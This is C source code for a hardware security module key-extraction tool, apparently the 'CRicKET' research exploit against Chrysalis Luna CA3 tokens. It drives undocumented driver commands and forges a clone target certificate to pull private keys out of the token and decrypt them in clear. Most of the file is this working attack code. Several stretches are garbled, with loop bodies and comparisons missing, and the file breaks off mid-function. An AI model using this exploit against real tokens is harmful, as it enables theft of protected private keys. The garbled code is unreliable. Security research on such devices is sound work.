Deprecated: The each() function is deprecated. This message will be suppressed on further calls in /home/zhenxiangba/zhenxiangba.com/public_html/phproxy-improved-master/index.php on line 456
/*********************** CRICKET 2004 ***************************/
/* Shell Type : C Mk. IIb */
/*
Filename : cricket.c
Created : 11th February 2004
Creator(s) : Michael Bond
Format : C
Compilation : windows standard libraries, pkcs#11 libraries
Detail : implementation of clone to software from chrysalis luna ca3 token
Version History (Defined as DATE VERSION REVISION SUBSIDIARY)
DATE V. R. S. INFO
25/01/04 1.0 1 1 Moved over code from 'sclone' project
17/02/04 1.0 1 2 More annotation and tidying of source
19/02/04 1.0 1 3 W2K compatibility
*/
// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Definitions ************************************************** //
// ************************************************************************************************ //
// ################################################################################################ //
#define VERSION 1.0
#define REVISION 1.3
//------- IO control codes ---------
#define LUNA_TEST_TOKEN_PRESENCE 0x9C480000
#define LUNA_EXECUTE_INTERFACE3_CMD 0x9C480004
#define LUNA_READ_WINDOW 0x9C480008
#define LUNA_GET_INSERTION_COUNT 0x9C480020
#define LUNA_GET_NUMBER_OF_SLOTS 0x9C480040
//#define LUNA_UNKNOWN1 0x9C4064C8
//------ memory handling ------------
#define MAX_OBJECT_SIZE 4096
#define MAX_OBJECTS 1000
#define MAX_STRING 1024
//------ local return values ---------
#define SUCCESS 0
#define FAILURE 1
#define RET_NO_ERROR 0
#define RET_ERROR 1
#define NO_TOKEN_PRESENT (-1)
//------- fixed keys and other constants -----
// these key values are arbitrary, apart from the fact that they
// should probably be odd parity. they are used as the value of
// the target nonce, both in the extractor and the decryptor,
// of course
#define FIXED_KEYPART_A 0x01 , 0x02, 0x01 , 0x02, 0x01 , 0x02, 0x01 , 0x02
#define FIXED_KEYPART_B 0x01 , 0x04, 0x01 , 0x04, 0x01 , 0x04, 0x01 , 0x04
#define FIXED_KEYPART_C 0x01 , 0x08, 0x01 , 0x08, 0x01 , 0x08, 0x01 , 0x08
// this is the serial number of the emulated target token
// used in the fake certificate, and in the manufacturing of
// the transport key
#define TARGET_SERIAL 0x7B00
// this is the identifier of the CVK private key
// that is left stored in the token, and whose public
// half is put in the CVK slot. it is used to look up
// the private key and retrieve a handle
//#define ID_CVK_KEY 104
#define ID_CVK_KEY 120
// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Inclusions *************************************************** //
// ************************************************************************************************ //
// ################################################################################################ //
#include // for windows DLL and device driver IO
#include "cryptoki.h" // pkcs11 interface
#include // for printf() and file IO
#include // for getch()
#include // for isalnum() in hex dump routine
// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Prototypes *************************************************** //
// ************************************************************************************************ //
// ################################################################################################ //
//----------------------------------- support functions ---------------------------------------------
void error_exit(char *string);
void dump_data(UCHAR *data, int len);
void ascii_dump(UCHAR *data, int len);
void init_pkcs_lib(void);
void init_pkcs_funcs(void);
void initialise_all(void);
void init_pkcs_session(void);
void end_pkcs_session(void);
//--------------------------- program flow components for extractor ---------------------------------
int extract_and_save_objects(void);
void list_objects(DWORD *object_list,DWORD *object_count);
void make_keys(void);
void list_all(void);
int prepare_clone_extract(void);
int extract_clone_object(DWORD objectID,UCHAR *clear_reply,UCHAR *encrypted_object,DWORD *encrypted_len);
void make_CVK_keypair(void);
int get_source_cert(UCHAR *src_cert,DWORD *src_cert_len);
void make_key_cln_req(UCHAR *encrypted_req,DWORD *encrypted_req_len,UCHAR *src_cert,DWORD src_cert_len);
void get_cvk_handle(DWORD *handle);
void make_software_cert(void *message,DWORD *message_len);
int decrypt_clone_reply(UCHAR *clear_reply,UCHAR* encrypted_reply);
//--------------------------- program flow components for decryptor ---------------------------------
int decrypt_clone_object(UCHAR *clear_object,DWORD *clear_len,UCHAR* clear_cln_rep,UCHAR *encrypted_object,DWORD encrypted_len,DWORD source_serial);
void make_transport_key(UCHAR *transport_key, UCHAR *kcv_raw, UCHAR *clear_cln_rep, DWORD source_serial);
//----------------------------- "CRYPTO" - decryption abstraction layer -----------------------------
void CRYPTO_decrypt_3DES_CBC(UCHAR *dest,UCHAR *source,DWORD len, UCHAR *key, UCHAR *iv);
void CRYPTO_SHA1(UCHAR *dest,UCHAR *source, DWORD source_len);
void CRYPTO_MD5(UCHAR *dest,UCHAR *source, DWORD source_len);
// "CRYPTO" - internal functions implementing CRYPTO primitives using PCKS#11
void set_3DES_key(UCHAR *key);
void decrypt_3DES_block(UCHAR *dest,UCHAR *source,UCHAR *iv);
void clear_3DES_key(void);
void get_datakey(UCHAR *data);
//-------------------------- undocumented reverse engineered functions ------------------------------
// driver functions
int driver_io(DWORD control,UCHAR *buffer);
void init_cr0_driver(void);
DWORD get_slotID(void);
// driver io commands
void do_read_window(void);
int test_token_pres(UCHAR slot);
int get_num_slots(void);
// luna API commands
DWORD do_LUNA_GET_FPV(void);
DWORD do_LUNA_GET_SERIAL(void);
int do_LUNA_CLONE_AS_SOURCE(UCHAR *enc_cln_req,UCHAR *tgt_cert,UCHAR *enc_cln_reply,UCHAR *enc_key,DWORD *enc_key_len,DWORD objectID);
int do_LUNA_LOAD_CUST_VERIFICATION_KEY(UCHAR *modulus);
//------------------------------------- PKCS#11 functions --------------------------------------------
CK_RV (*MKB_C_Initialize)(CK_VOID_PTR *pInitArgs);
CK_RV (*PROC_C_OpenSession)(DWORD slotID, DWORD flags, void *ptr_app,DWORD *notify,DWORD *phSession);
CK_RV (*PROC_C_CloseSession)(DWORD hSession);
CK_RV (*PROC_C_Login)(DWORD hSession, DWORD userType, void *PIN, DWORD PINlen);
CK_RV (*PROC_C_Logout)(DWORD hSession);
CK_RV (*PROC_C_FindObjects)(DWORD hSession,DWORD *handles,DWORD max,DWORD *num_objects);
CK_RV (*PROC_C_FindObjectsInit)(DWORD hSession,void *pTemplate,DWORD attribute_count);
CK_RV (*PROC_C_FindObjectsFinal)(DWORD hSession);
CK_RV (*MKB_C_GetInfo)(void *ptr);
CK_RV (*MKB_CA_GetFPV)(int slotid,void *dest);
CK_RV (*MKB_CA_GetModuleList)(int slotid,int dest1,int dest2,void *dest3);
CK_RV (*PROC_CA_ClonePrivateKey)(DWORD dest,DWORD src,DWORD objectID,void *stuff);
CK_RV (*PROC_C_CreateObject)(DWORD session,void *ttemplate, DWORD num_attr,DWORD *handle);
CK_RV (*PROC_C_WrapKey)(DWORD session, void *mech, DWORD wrap_key, DWORD key,void *result,DWORD *result_len);
CK_RV (*PROC_C_UnwrapKey)(DWORD session, void *mech, DWORD handle_key, void *wrapped_key, DWORD wrapped_key_len, void *ttemplate, DWORD attr_count, DWORD *handle_result);
CK_RV (*PROC_C_EncryptInit)(DWORD session,void *mech,DWORD key);
CK_RV (*PROC_C_Encrypt)(DWORD session,void *data,DWORD data_len,void *result,DWORD *result_len);
CK_RV (*PROC_C_DecryptInit)(DWORD session,void *mech,DWORD key);
CK_RV (*PROC_C_Decrypt)(DWORD session,void *enc_data,DWORD enc_data_len,void *result,DWORD *result_len);
CK_RV (*PROC_C_SignInit)(DWORD session,void *mech, DWORD key);
CK_RV (*PROC_C_Sign)(DWORD session, void *data, DWORD data_len, void *signature, DWORD *signature_len);
CK_RV (*PROC_C_DigestInit)(DWORD session,void *mech);
CK_RV (*PROC_C_Digest)(DWORD session, void *data,DWORD data_len,void *digest,DWORD *digest_len);
CK_RV (*PROC_C_GenerateKeyPair)(DWORD session, void *mech, void *pub_template, DWORD pub_attr_count,void *priv_template,DWORD priv_attr_count, DWORD *pub_handle, DWORD *priv_handle);
CK_RV (*PROC_C_GenerateKey)(DWORD session,void *mech, void *ttemplate,DWORD attr_count, DWORD *handle);
CK_RV (*PROC_C_DestroyObject)(DWORD session,DWORD handle);
CK_RV (*PROC_C_GetAttributeValue)(DWORD session, DWORD obj_handle,void *ttemplate,DWORD attr_count);
CK_RV (*PROC_CA_SetTokenCertificateSignature)(DWORD slotID, DWORD two, DWORD three, DWORD four, DWORD five , DWORD six, DWORD seven);
// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Global Variables / Structurues ******************************* //
// ************************************************************************************************ //
// ################################################################################################ //
HANDLE lunacr0=NULL;
HANDLE lunant=NULL;
DWORD slotID=0; // slot ID for source token (driver encoding)
DWORD session=0; // session ID for comms with source (PKCS#11 encoding)
DWORD privkey_decryptor_handle=0;
DWORD des_key_handle=0;
DWORD global_login_mode;
DWORD logged_in=FALSE;
// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Main Function ************************************************* //
// ************************************************************************************************ //
// ################################################################################################ //
int main(int argc,char *argv[])
{
// this is the main function for the cricket program. it parses command
// line options and selects from the different major functionality.
//----------- declare variables ----------
DWORD fpv=0;
UCHAR *encrypted_object;
UCHAR *clear_reply;
UCHAR *clear_object;
DWORD encrypted_len=0;
DWORD clear_len=0;
int result;
//------------- parse command line options ---------------
printf("CRicKET - ChRysalis Key Extraction Tool V%1.1f R%1.1f\n",VERSION,REVISION);
printf("\n*** W2K VERSION ***\n");
if( argc <= 1 )
{
printf("\n"
"usage: cricket -prepare\n"
" cricket -extract \n"
" cricket -extractall\n"
" cricket -listall\n"
" cricket -makekeys\n"
" cricket -decrypt \n"
" cricket -dump \n"
" cricket -delete \n"
" cricket -test\n"
" cricket -help\n");
exit(1);
}
if( argc == 2 && !stricmp(argv[1],"-help") )
{
printf("\n"
"usage: cricket -prepare\n"
" cricket -extract \n"
" cricket -listall\n"
" cricket -makekeys\n"
" cricket -decrypt \n"
" cricket -dump \n"
" cricket -delete \n"
" cricket -test\n"
" cricket -help\n");
exit(1);
}
if( argc == 2 && !stricmp(argv[1],"-makekeys") )
{
initialise_all();
make_keys();
}
if( argc == 2 && !stricmp(argv[1],"-listall") )
{
list_all();
}
if( argc == 2 && !stricmp(argv[1],"-test") )
{
DWORD fpv;
DWORD serial;
initialise_all();
fpv=do_LUNA_GET_FPV();
printf("FPV = 0x%08X\n",fpv);
serial=do_LUNA_GET_SERIAL();
printf("SERIAL = 0x%08X\n",serial);
}
if( argc == 2 && !stricmp(argv[1],"-prepare") )
{
initialise_all();
make_CVK_keypair();
}
if( argc == 3 && !stricmp(argv[1],"-delete") )
{
DWORD objectID;
CK_RV r;
char c;
sscanf(argv[2],"%d",&objectID);
//---------- perform delete --------------
printf("You want to destroy object ID '%d'? Press 'Y' to continue\n",objectID);
c=getch();
if( c != 'Y' && c !='y' )
error_exit("object deletion not authorised by user.\n");
initialise_all();
r=PROC_C_DestroyObject(session,objectID);
if( r != CKR_OK )
{
if( logged_in == TRUE )
end_pkcs_session();
error_exit("error destroying object\n");
}
}
if( argc == 3 && !stricmp(argv[1],"-dump") )
{
DWORD objectID;
DWORD source_serial;
sscanf(argv[2],"%d",&objectID);
//----------- mallocate storage ----------
encrypted_object=malloc(MAX_OBJECT_SIZE);
clear_reply=malloc(MAX_OBJECT_SIZE);
clear_object=malloc(MAX_OBJECT_SIZE);
if( !encrypted_object || !clear_object || !clear_reply )
error_exit("memory allocation error.\n");
//---------- perform cloning --------------
initialise_all();
result=extract_clone_object(objectID,clear_reply,encrypted_object,&encrypted_len);
if( result == FAILURE )
error_exit("extraction of clone object failed.\n");
source_serial=do_LUNA_GET_SERIAL();
result=decrypt_clone_object(clear_object,&clear_len,clear_reply,encrypted_object,encrypted_len,source_serial);
if( result == FAILURE )
error_exit("decryption of clone object failed.\n");
dump_data(clear_object,clear_len);
printf("\n\n");
ascii_dump(clear_object,clear_len);
}
if( argc == 3 && !stricmp(argv[1],"-extract") )
{
DWORD objectID;
DWORD source_serial;
DWORD len;
FILE *fp;
char filename[80];
sscanf(argv[2],"%d",&objectID);
//----------- mallocate storage ----------
encrypted_object=malloc(MAX_OBJECT_SIZE);
clear_reply=malloc(MAX_OBJECT_SIZE);
clear_object=malloc(MAX_OBJECT_SIZE);
if( !encrypted_object || !clear_object || !clear_reply )
error_exit("memory allocation error.\n");
//---------- perform cloning --------------
initialise_all();
result=extract_clone_object(objectID,clear_reply,encrypted_object,&encrypted_len);
source_serial=do_LUNA_GET_SERIAL();
if( result == FAILURE )
error_exit("extraction of clone object failed.\n");
sprintf(filename,"object%d.enc",objectID);
fp=fopen(filename,"wb");
if( fp == NULL )
error_exit("error opening object file for writing.\n");
len=0x80;
fwrite(&len,1,4,fp);
fwrite(clear_reply,1,80,fp);
fwrite(&encrypted_len,1,4,fp);
fwrite(encrypted_object,1,encrypted_len,fp);
fwrite(&source_serial,1,4,fp);
fclose(fp);
printf("Encrypted object data written to '%s'.\n",filename);
}
if( argc == 3 && !stricmp(argv[1],"-decrypt") )
{
DWORD objectID;
DWORD source_serial;
DWORD len;
FILE *fp;
char filename[80];
sscanf(argv[2],"%d",&objectID);
//----------- mallocate storage ----------
encrypted_object=malloc(MAX_OBJECT_SIZE);
clear_reply=malloc(MAX_OBJECT_SIZE);
clear_object=malloc(MAX_OBJECT_SIZE);
if( !encrypted_object || !clear_object || !clear_reply )
error_exit("memory allocation error.\n");
//------------ read data from file ------------
sprintf(filename,"object%d.enc",objectID);
fp=fopen(filename,"rb");
if( fp == NULL )
{
printf("could not open file '%s' for reading.\n",filename);
error_exit("error opening object file for reading.\n");
}
len=0x80;
fread(&len,1,4,fp);
fread(clear_reply,1,80,fp);
fread(&encrypted_len,1,4,fp);
fread(encrypted_object,1,encrypted_len,fp);
fread(&source_serial,1,4,fp);
fclose(fp);
printf("Encrypted object data loaded from '%s'.\n",filename);
//---------- perform cloning --------------
initialise_all();
result=decrypt_clone_object(clear_object,&clear_len,clear_reply,encrypted_object,encrypted_len,source_serial);
if( result == FAILURE )
error_exit("decryption of clone object failed.\n");
dump_data(clear_object,clear_len);
printf("\n\n");
ascii_dump(clear_object,clear_len);
}
// logout and close session
if( logged_in == TRUE )
end_pkcs_session();
//-------- shutdown drivers --------------
CloseHandle(lunacr0);
CloseHandle(lunant);
printf("\nPress any key...\n");
getch();
return RET_NO_ERROR;
}
// ################################################################################################ //
//************************************************************************************************* //
// ****************************** Documented Functions ******************************************** //
// ************************************************************************************************ //
// ################################################################################################ //
//-----------------------------------------------------------------------------------------------
//--------------------------------- error_exit --------------------------------------------------
//-----------------------------------------------------------------------------------------------
void error_exit(char *string)
{
// this function is called to quit out of the program
// nearly all errors in the program are treated as fatal
// and call this function
printf("ERROR: %s",string);
if( logged_in == TRUE )
end_pkcs_session();
printf("Press any key...\n");
getch();
exit(RET_ERROR);
}
//-----------------------------------------------------------------------------------------------
//----------------------------------- dump_data --------------------------------------------------
//-----------------------------------------------------------------------------------------------
void dump_data(UCHAR *data, int len)
{
// this function sends to stdout a hex dump of data
// at the address pointed to by 'data'
int count;
//printf("data address : 0x%08X (len 0x%X (%d)) ",data,len,len);
for(count=0;count 13 && *(object_list+i) < 480 )
{
CK_RV r;
r=PROC_C_DestroyObject(session,*(object_list+i));
if( r != CKR_OK )
error_exit("error.\n");
}*/
if( (i > 0) && (i % 40 == 0) )
getch();
}
printf("\nEND.\n");
}
//-----------------------------------------------------------------------------------------------
//------------------------------------- make_keys -----------------------------------------------
//-----------------------------------------------------------------------------------------------
void make_keys(void)
{
// this function makes some example keys to demonstrate the extraction
// in clear facility
CK_RV r;
DWORD pub_handle;
DWORD priv_handle;
CK_BYTE *modulus=(CK_BYTE *)malloc(4096);
DWORD modulus_len=4096;
CK_MECHANISM mechanism = { CKM_RSA_PKCS_KEY_PAIR_GEN , NULL_PTR , 0 };
//--------------------------------------- RSA 512 bits ---------------------------------
{
CK_ULONG modulusBits = 512;
CK_BYTE publicExponent[] = { 0x3 };
CK_BYTE id[] = { 0x1 };
CK_BYTE subject[] = { 'R' , 'S' , 'A' , '_' , '5' , '1' , '2' };
CK_BBOOL cktrue = TRUE;
CK_BBOOL ckfalse = FALSE;
CK_ATTRIBUTE publicKeyTemplate[] =
{
{CKA_ENCRYPT, &cktrue, sizeof(cktrue)},
{CKA_VERIFY, &cktrue, sizeof(cktrue)},
{CKA_WRAP, &cktrue, sizeof(cktrue)},
{CKA_MODULUS_BITS, &modulusBits, sizeof(modulusBits)},
{CKA_PUBLIC_EXPONENT, publicExponent, sizeof(publicExponent)},
//{CKA_EXTRACTABLE, &cktrue, sizeof(cktrue)},
//{CKA_SENSITIVE, &ckfalse, sizeof(ckfalse)}
};
CK_ATTRIBUTE privateKeyTemplate[] =
{
{CKA_TOKEN, &cktrue, sizeof(cktrue)},
{CKA_PRIVATE, &cktrue, sizeof(cktrue)},
{CKA_SUBJECT, &subject, sizeof(subject)},
{CKA_ID, id, sizeof(id)},
{CKA_SENSITIVE, &cktrue, sizeof(cktrue)},
{CKA_DECRYPT, &cktrue, sizeof(cktrue)},
{CKA_SIGN, &cktrue, sizeof(cktrue)},
{CKA_UNWRAP, &cktrue, sizeof(cktrue)},
{CKA_EXTRACTABLE, &cktrue, sizeof(cktrue)}
};
CK_ATTRIBUTE attrTemplate[] =
{
{CKA_MODULUS, modulus, modulus_len}
};
CK_KEY_TYPE keyType = CKK_RSA;
CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
CK_BYTE exponent[] = { 0x3 };
CK_ATTRIBUTE pktemp[] =
{
//{CKA_CLASS, &tclass, sizeof(tclass)},
{CKA_KEY_TYPE, &keyType, sizeof(keyType)},
{CKA_MODULUS, modulus, 0x80},
{CKA_PUBLIC_EXPONENT, exponent, sizeof(exponent)}
};
r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);
if (r != CKR_OK)
error_exit("C_GenerateKeyPair() failed\n");
}
//----------------------------------------- RSA 1024 bits --------------------------------------
{
CK_ULONG modulusBits = 1024;
CK_BYTE publicExponent[] = { 0x3 };
CK_BYTE id[] = { 0x2 };
CK_BYTE subject[] = { 'R' , 'S' , 'A' , '_' , '1' , '0' , '2' , '4' };
CK_BBOOL cktrue = TRUE;
CK_BBOOL ckfalse = FALSE;
CK_ATTRIBUTE publicKeyTemplate[] =
{
{CKA_ENCRYPT, &cktrue, sizeof(cktrue)},
{CKA_VERIFY, &cktrue, sizeof(cktrue)},
{CKA_WRAP, &cktrue, sizeof(cktrue)},
{CKA_MODULUS_BITS, &modulusBits, sizeof(modulusBits)},
{CKA_PUBLIC_EXPONENT, publicExponent, sizeof(publicExponent)},
//{CKA_EXTRACTABLE, &cktrue, sizeof(cktrue)},
//{CKA_SENSITIVE, &ckfalse, sizeof(ckfalse)}
};
CK_ATTRIBUTE privateKeyTemplate[] =
{
{CKA_TOKEN, &cktrue, sizeof(cktrue)},
{CKA_PRIVATE, &cktrue, sizeof(cktrue)},
{CKA_SUBJECT, &subject, sizeof(subject)},
{CKA_ID, id, sizeof(id)},
{CKA_SENSITIVE, &cktrue, sizeof(cktrue)},
{CKA_DECRYPT, &cktrue, sizeof(cktrue)},
{CKA_SIGN, &cktrue, sizeof(cktrue)},
{CKA_UNWRAP, &cktrue, sizeof(cktrue)},
{CKA_EXTRACTABLE, &cktrue, sizeof(cktrue)}
};
CK_ATTRIBUTE attrTemplate[] =
{
{CKA_MODULUS, modulus, modulus_len}
};
CK_KEY_TYPE keyType = CKK_RSA;
CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
CK_BYTE exponent[] = { 0x3 };
CK_ATTRIBUTE pktemp[] =
{
//{CKA_CLASS, &tclass, sizeof(tclass)},
{CKA_KEY_TYPE, &keyType, sizeof(keyType)},
{CKA_MODULUS, modulus, 0x80},
{CKA_PUBLIC_EXPONENT, exponent, sizeof(exponent)}
};
r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);
if (r != CKR_OK)
error_exit("C_GenerateKeyPair() failed - code\n");
}
//-------------------------------- RSA funny exponent ----------------------
{
CK_ULONG modulusBits = 384;
CK_BYTE publicExponent[] = { 0x3 };
CK_BYTE id[] = { 0x3 };
CK_BYTE subject[] = { 'R' , 'S' , 'A' , '_' , '3' , '8' , '4' };
CK_BBOOL cktrue = TRUE;
CK_BBOOL ckfalse = FALSE;
CK_ATTRIBUTE publicKeyTemplate[] =
{
{CKA_ENCRYPT, &cktrue, sizeof(cktrue)},
{CKA_VERIFY, &cktrue, sizeof(cktrue)},
{CKA_WRAP, &cktrue, sizeof(cktrue)},
{CKA_MODULUS_BITS, &modulusBits, sizeof(modulusBits)},
{CKA_PUBLIC_EXPONENT, publicExponent, sizeof(publicExponent)},
//{CKA_EXTRACTABLE, &cktrue, sizeof(cktrue)},
//{CKA_SENSITIVE, &ckfalse, sizeof(ckfalse)}
};
CK_ATTRIBUTE privateKeyTemplate[] =
{
{CKA_TOKEN, &cktrue, sizeof(cktrue)},
{CKA_PRIVATE, &cktrue, sizeof(cktrue)},
{CKA_SUBJECT, &subject, sizeof(subject)},
{CKA_ID, id, sizeof(id)},
{CKA_SENSITIVE, &cktrue, sizeof(cktrue)},
{CKA_DECRYPT, &cktrue, sizeof(cktrue)},
{CKA_SIGN, &cktrue, sizeof(cktrue)},
{CKA_UNWRAP, &cktrue, sizeof(cktrue)},
{CKA_EXTRACTABLE, &cktrue, sizeof(cktrue)}
};
CK_ATTRIBUTE attrTemplate[] =
{
{CKA_MODULUS, modulus, modulus_len}
};
CK_KEY_TYPE keyType = CKK_RSA;
CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
CK_BYTE exponent[] = { 0x3 };
CK_ATTRIBUTE pktemp[] =
{
//{CKA_CLASS, &tclass, sizeof(tclass)},
{CKA_KEY_TYPE, &keyType, sizeof(keyType)},
{CKA_MODULUS, modulus, 0x80},
{CKA_PUBLIC_EXPONENT, exponent, sizeof(exponent)}
};
r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);
if (r != CKR_OK)
error_exit("C_GenerateKeyPair() failed - code\n");
}
}
// ################################################################################################ //
// ************************************************************************************************ //
// ************************* Decryption Crypto Abstraction Layer ********************************** //
// ************************************************************************************************ //
// ################################################################################################ //
//-----------------------------------------------------------------------------------------------
//----------------------------- CRYPTO_decrypt_3DES_CBC ---------------------------------------------
//-----------------------------------------------------------------------------------------------
void CRYPTO_decrypt_3DES_CBC(UCHAR *dest,UCHAR *source,DWORD len, UCHAR *key, UCHAR *iv)
{
// this function performs 3key 3DES CBC decryption of the data pointed to by 'source'
// 'len' is the len of the source in bytes, and must conform to the 8 byte block boundaries
// the result of decryption is placed at 'dest'. An 8 byte initial IV must be supplied
// at 'iv', and a 3 key 3DES key in 'key'. The destination storage is allocated by the caller
UCHAR current_iv[8];
unsigned int i; //loop counter
// set up the iv to the initial one
memcpy(current_iv,iv,8);
// load the chosen 3DES key into a PKCS#11 token
set_3DES_key(key);
// loop through the blocks, providing the previous ciphertext block
// as the IV for the next decryption (a la CBC)
for(i=0;i> 4);
UCHAR r=(UCHAR)(k & 0x0F);
UCHAR x=(UCHAR)(l ^ r);
l=(UCHAR)((x & 0xC) >> 2);
r=(UCHAR)(x & 0x3);
x=(UCHAR)(l ^ r);
l=(UCHAR)((x & 0x2) >> 1);
r=(UCHAR)(x & 0x1);
x=(UCHAR)(l ^ r);
if( x==0 )
transport_key[v]=(UCHAR)(k^0x01);
}
//printf("TRANSPORT KEY\n");
//dump_data(transport_key,0x18);
}
//-----------------------------------------------------------------------------------------------
//-------------------------------- do_LUNA_GET_FPV ----------------------------------------------
//-----------------------------------------------------------------------------------------------
DWORD do_LUNA_GET_FPV(void)
{
// this function is undocumented. as it happens, it's just a
// test function that returns the FPV of the token.
UCHAR iobuf[0x40];
UCHAR buffer[0x8];
UCHAR cmd_data[4096];
UCHAR resp_data_buffer[0x4000];
UCHAR *response=resp_data_buffer+0x2000;
do_read_window();
*((DWORD *)(buffer+0))=(DWORD)iobuf;
*((DWORD *)(iobuf+0x00))=0x0; //unknown (retcode to become)
*((DWORD *)(iobuf+0x04))=0x0; //slotID
*((DWORD *)(iobuf+0x08))=0x0; //unknown
*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data; //ptr cmd data
*((DWORD *)(iobuf+0x10))=0x14; //len cmd data
*((DWORD *)(iobuf+0x14))=0x0; //unknown
*((DWORD *)(iobuf+0x18))=0x0; //unknown
*((DWORD *)(iobuf+0x1C))=0x0; //unknown
*((DWORD *)(iobuf+0x20))=0x0; //unknown
*((DWORD *)(iobuf+0x24))=(DWORD)response; //ptr response buffer (backwards?)
*((DWORD *)(iobuf+0x28))=0x2000; //available len response buffer
*((DWORD *)(iobuf+0x2C))=0x0; //unknown
*((DWORD *)(iobuf+0x30))=0x0; //unknown
*((DWORD *)(iobuf+0x34))=0x0; //frame pointers
*((DWORD *)(iobuf+0x38))=0x0; //ptr sub for frame handler
*((DWORD *)(iobuf+0x3C))=0x0; //unknown
*((DWORD *)(cmd_data+0x00))=0x0F000002; //cmd code
*((DWORD *)(cmd_data+0x04))=0x2000; //unknown
*((DWORD *)(cmd_data+0x08))=0x4; //unknown
*((DWORD *)(cmd_data+0x0C))=0x7A120; //unknown
*((DWORD *)(cmd_data+0x10))=0x0B; //LUNA_GET param?
driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);
return *((DWORD *)(response+0x14));
}
//-----------------------------------------------------------------------------------------------
//-------------------------------- do_LUNA_GET_FPV ----------------------------------------------
//-----------------------------------------------------------------------------------------------
DWORD do_LUNA_GET_SERIAL(void)
{
// this function is undocumented. it gets the serial
// number of the token
UCHAR iobuf[0x40];
UCHAR buffer[0x8];
UCHAR cmd_data[4096];
UCHAR resp_data_buffer[0x4000];
UCHAR *response=resp_data_buffer+0x2000;
do_read_window();
*((DWORD *)(buffer+0))=(DWORD)iobuf;
*((DWORD *)(iobuf+0x00))=0x0; //unknown (retcode to become)
*((DWORD *)(iobuf+0x04))=0x0; //slotID
*((DWORD *)(iobuf+0x08))=0x0; //unknown
*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data; //ptr cmd data
*((DWORD *)(iobuf+0x10))=0x14; //len cmd data
*((DWORD *)(iobuf+0x14))=0x0; //unknown
*((DWORD *)(iobuf+0x18))=0x0; //unknown
*((DWORD *)(iobuf+0x1C))=0x0; //unknown
*((DWORD *)(iobuf+0x20))=0x0; //unknown
*((DWORD *)(iobuf+0x24))=(DWORD)response; //ptr response buffer (backwards?)
*((DWORD *)(iobuf+0x28))=0x2000; //available len response buffer
*((DWORD *)(iobuf+0x2C))=0x0; //unknown
*((DWORD *)(iobuf+0x30))=0x0; //unknown
*((DWORD *)(iobuf+0x34))=0x0; //frame pointers
*((DWORD *)(iobuf+0x38))=0x0; //ptr sub for frame handler
*((DWORD *)(iobuf+0x3C))=0x0; //unknown
*((DWORD *)(cmd_data+0x00))=0x0F000002; //cmd code
*((DWORD *)(cmd_data+0x04))=0x2000; //unknown
*((DWORD *)(cmd_data+0x08))=0x4; //unknown
*((DWORD *)(cmd_data+0x0C))=0x7A120; //unknown
*((DWORD *)(cmd_data+0x10))=0x03; //LUNA_GET param?
driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);
return *((DWORD *)(response+0x14));
}
//-----------------------------------------------------------------------------------------------
//----------------------------- do_LUNA_CLONE_AS_SOURCE -----------------------------------------
//-----------------------------------------------------------------------------------------------
int do_LUNA_CLONE_AS_SOURCE(UCHAR *enc_cln_req,UCHAR *tgt_cert,UCHAR *enc_cln_reply,UCHAR *enc_key,DWORD *enc_key_len,DWORD objectID)
{
// this function is undocumented.
UCHAR iobuf[0x40];
UCHAR buffer[0x8];
UCHAR cmd_data[4096];
UCHAR resp_data_buffer[0x4000];
UCHAR *response=resp_data_buffer+0x2000;
DWORD sessloop;
for(sessloop=0;sessloop<120;sessloop++)
{
do_read_window();
*((DWORD *)(buffer+0))=(DWORD)iobuf;
*((DWORD *)(iobuf+0x00))=0x0; //unknown (retcode to become)
*((DWORD *)(iobuf+0x04))=0x0; //slotID
*((DWORD *)(iobuf+0x08))=0x0; //unknown
*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data; //ptr cmd data
*((DWORD *)(iobuf+0x10))=0x1C8; //len cmd data
*((DWORD *)(iobuf+0x14))=0x0; //unknown
*((DWORD *)(iobuf+0x18))=0x0; //unknown
*((DWORD *)(iobuf+0x1C))=0x0; //unknown
*((DWORD *)(iobuf+0x20))=0x0; //unknown
*((DWORD *)(iobuf+0x24))=(DWORD)response; //ptr response buffer (backwards?)
*((DWORD *)(iobuf+0x28))=0x2000; //available len response buffer
*((DWORD *)(iobuf+0x2C))=0x0; //unknown
*((DWORD *)(iobuf+0x30))=0x0; //unknown
*((DWORD *)(iobuf+0x34))=0x0; //frame pointers
*((DWORD *)(iobuf+0x38))=0x0; //ptr sub for frame handler
*((DWORD *)(iobuf+0x3C))=0x0; //unknown
memset(cmd_data,0xFE,0x200);
*((DWORD *)(cmd_data+0x00))=0x3320A000; //cmd code
*((DWORD *)(cmd_data+0x04))=0x2000; //unknown
*((DWORD *)(cmd_data+0x08))=0x6; //unknown (MKB-W2K used to be 6)
// sometimes 0x8 works...
//printf("sessloop=%d.\n",sessloop);
*((DWORD *)(cmd_data+0x0C))=sessloop; //session handle (so it seems);
//*((DWORD *)(cmd_data+0x0C))=session; //session handle (so it seems);
//*((DWORD *)(cmd_data+0x10))=0x8; //
*((DWORD *)(cmd_data+0x10))=0xC350; //
*((DWORD *)(cmd_data+0x14))=objectID; // object handle (usually 6)
*((DWORD *)(cmd_data+0x18))=0x1AC; // len both
*((DWORD *)(cmd_data+0x1C))=0x124; // len target cert
memcpy(cmd_data+0x20,tgt_cert,0x124); //target cert
*((DWORD *)(cmd_data+0x144))=0x80; //len key cln req
memcpy(cmd_data+0x148,enc_cln_req,0x80); //target cert
//dump_data(cmd_data,0x100);
driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);
//dump_data(response,0x30);
// copy out data (to do: figure out length field)
